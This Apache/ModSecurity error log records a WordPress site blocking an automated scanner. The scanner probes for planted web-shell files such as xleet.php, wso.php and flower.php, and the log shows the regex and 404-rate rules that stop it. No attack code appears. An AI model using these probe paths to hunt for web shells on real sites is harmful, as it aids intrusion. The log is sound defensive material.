[Sat Feb 28 08:53:51.661082 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.20:58819] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaI8n1tZF9Zd_U7easCKVAAAAFM"]
[Sat Feb 28 08:53:51.943241 2026] [:error] [pid 39185:tid 39250] [client 173.244.55.23:31507] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aaI8nxVE-FfM89u7BQawrQAAAIQ"]
[Sat Feb 28 08:53:52.969316 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.26:57677] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaI8oKIAO5fN7BxyqcFExAAAAMs"]
[Sat Feb 28 08:53:53.273574 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.29:32553] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaI8oX6mbajs3bzQGyu3ZAAAAUI"]
[Sat Feb 28 08:53:54.160728 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.20:62961] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaI8oqIAO5fN7BxyqcFE0wAAAMc"]
[Sat Feb 28 08:53:54.748934 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.25:23867] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaI8oqIAO5fN7BxyqcFE2gAAAM0"]
[Sat Feb 28 08:53:55.041699 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.22:64821] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaI8o36mbajs3bzQGyu3jQAAAUU"]
[Sat Feb 28 08:53:55.630966 2026] [proxy_fcgi:error] [pid 11791:tid 11801] [client 173.244.55.30:31541] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:55.927148 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.21:37267] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaI8oxCf4HvhVePw3LaonQAAABM"]
[Sat Feb 28 08:53:56.818335 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.29:42245] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaI8pKIAO5fN7BxyqcFE9QAAAMM"]
[Sat Feb 28 08:53:56.960785 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.30:31541] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:53:57.400956 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.30:31541] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaI8pWuX5e1Q32gqxH1D4gAAARM"]
[Sat Feb 28 08:53:57.690068 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.29:25253] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaI8pWuX5e1Q32gqxH1D6wAAAQo"]
[Sat Feb 28 08:53:58.281877 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.31:25941] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaI8pmuX5e1Q32gqxH1EAQAAAQI"]
[Sat Feb 28 08:53:59.019214 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.23:27319] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaI8p36mbajs3bzQGyu30wAAAVc"]
[Sat Feb 28 08:53:59.158804 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.23:42293] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaI8pxVE-FfM89u7BQaw0AAAAJY"]
[Sat Feb 28 08:53:59.891605 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.23:36315] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaI8p6IAO5fN7BxyqcFFCwAAAMo"]
[Sat Feb 28 08:54:00.040857 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.23:56031] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaI8qGuX5e1Q32gqxH1ENgAAARU"]
[Sat Feb 28 08:54:00.767291 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.23:31331] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaI8qKIAO5fN7BxyqcFFEAAAANg"]
[Sat Feb 28 08:54:01.382849 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.26:49513] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:01.649453 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.20:22551] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaI8qX6mbajs3bzQGyu4GQAAAUI"]
[Sat Feb 28 08:54:01.837933 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.26:49513] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:02.291538 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.26:49513] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/xleet.php"] [unique_id "aaI8qqIAO5fN7BxyqcFFHwAAANc"]
[Sat Feb 28 08:54:03.188204 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.31:41391] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/xleet.php"] [unique_id "aaI8qxVE-FfM89u7BQaw4QAAAJQ"]
[Sat Feb 28 08:54:03.443755 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.31:29425] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaI8q1tZF9Zd_U7easCKtQAAAEA"]
[Sat Feb 28 08:54:04.072291 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.26:39617] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/xleet.php"] [unique_id "aaI8rGuX5e1Q32gqxH1EgQAAARQ"]
[Sat Feb 28 08:54:04.755506 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.29:33885] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaI8rFtZF9Zd_U7easCKzAAAAEA"]
[Sat Feb 28 08:54:04.972598 2026] [:error] [pid 39184:tid 39243] [client 173.244.55.26:23035] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/xleet.php"] [unique_id "aaI8rFtZF9Zd_U7easCKzgAAAFg"]
[Sat Feb 28 08:54:05.663401 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.21:28897] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaI8rWuX5e1Q32gqxH1EnQAAAQ4"]
[Sat Feb 28 08:54:05.896112 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.26:53065] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/xleet.php"] [unique_id "aaI8rWuX5e1Q32gqxH1EpQAAAQU"]
[Sat Feb 28 08:54:06.536730 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.31:40153] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp.php"] [unique_id "aaI8rmuX5e1Q32gqxH1EtQAAARc"]
[Sat Feb 28 08:54:07.221499 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.26:20923] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaI8r6IAO5fN7BxyqcFFQgAAAMI"]
[Sat Feb 28 08:54:07.409224 2026] [proxy_fcgi:error] [pid 22194:tid 22198] [client 173.244.55.20:39277] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:08.283099 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.20:39277] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaI8sH6mbajs3bzQGyu4kAAAAUU"]
[Sat Feb 28 08:54:08.535242 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.28:36191] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aaI8sKIAO5fN7BxyqcFFUwAAAM8"]
[Sat Feb 28 08:54:09.614229 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.20:34663] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aaI8saIAO5fN7BxyqcFFcQAAAMM"]
[Sat Feb 28 08:54:09.893285 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.25:33549] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aaI8sWuX5e1Q32gqxH1E5gAAAQE"]
[Sat Feb 28 08:54:10.963950 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.23:58881] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaI8sn6mbajs3bzQGyu4vAAAAUI"]
[Sat Feb 28 08:54:11.857784 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.26:38369] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:12.305532 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.26:38369] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wso.php"] [unique_id "aaI8tH6mbajs3bzQGyu41wAAAUQ"]
[Sat Feb 28 08:54:13.631736 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.23:52607] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:14.067208 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.23:52607] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaI8tmuX5e1Q32gqxH1FOQAAARE"]
[Sat Feb 28 08:54:15.386460 2026] [proxy_fcgi:error] [pid 39185:tid 39256] [client 173.244.55.28:41147] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:15.828464 2026] [proxy_fcgi:error] [pid 39185:tid 39260] [client 173.244.55.28:41147] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:16.274713 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.28:41147] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:16.713155 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.28:41147] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaI8uBVE-FfM89u7BQaxZwAAAIk"]
[Sat Feb 28 08:54:17.591920 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.21:63627] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaI8uWuX5e1Q32gqxH1FgQAAAQ4"]
[Sat Feb 28 08:54:18.464077 2026] [:error] [pid 39184:tid 39229] [client 173.244.55.23:31755] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaI8ultZF9Zd_U7easCLCgAAAEo"]
[Sat Feb 28 08:54:19.360506 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.21:22777] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aaI8u6IAO5fN7BxyqcFF5AAAANA"]
[Sat Feb 28 08:54:20.252595 2026] [proxy_fcgi:error] [pid 39185:tid 39259] [client 173.244.55.31:52721] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:20.694786 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.31:52721] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaI8vBVE-FfM89u7BQaxnwAAAIk"]
[Sat Feb 28 08:54:22.020833 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.26:22947] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/1.php"] [unique_id "aaI8vn6mbajs3bzQGyu5cwAAAUU"]
[Sat Feb 28 08:54:23.375248 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.20:60349] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaI8v36mbajs3bzQGyu5hQAAAU8"]
[Sat Feb 28 08:54:24.252093 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.26:51649] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaI8wH6mbajs3bzQGyu5nAAAAUM"]
[Sat Feb 28 08:54:24.647293 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.20:40373] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aaI8wH6mbajs3bzQGyu5qQAAAVA"]
[Sat Feb 28 08:54:25.128584 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.26:22603] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaI8wRVE-FfM89u7BQaxvAAAAIc"]
[Sat Feb 28 08:54:26.022346 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.22:54241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:26.477794 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.22:54241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:26.926149 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.22:54241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:27.821444 2026] [proxy_fcgi:error] [pid 22194:tid 22207] [client 173.244.55.22:54241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:54:28.664215 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.25:48717] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/"] [unique_id "aaI8xGuX5e1Q32gqxH1GSwAAARA"]
[Sat Feb 28 08:54:28.709410 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.22:54241] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/about.php"] [unique_id "aaI8xH6mbajs3bzQGyu59QAAAUs"]
[Sat Feb 28 08:54:29.635765 2026] [:error] [pid 39183:tid 39199] [client 173.244.55.26:23283] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/about.php"] [unique_id "aaI8xRCf4HvhVePw3LapdQAAAAc"]
[Sat Feb 28 08:54:30.529534 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.25:36887] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ectoplasm/about.php"] [unique_id "aaI8xn6mbajs3bzQGyu6BgAAAUY"]
